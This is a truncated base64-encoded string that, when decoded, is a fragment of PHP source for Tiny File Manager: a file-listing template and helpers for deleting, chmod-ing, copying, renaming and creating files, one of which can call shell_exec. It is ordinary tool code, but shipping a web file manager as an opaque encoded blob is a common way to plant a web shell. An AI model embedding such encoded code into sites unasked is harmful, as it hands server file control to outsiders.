AgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3R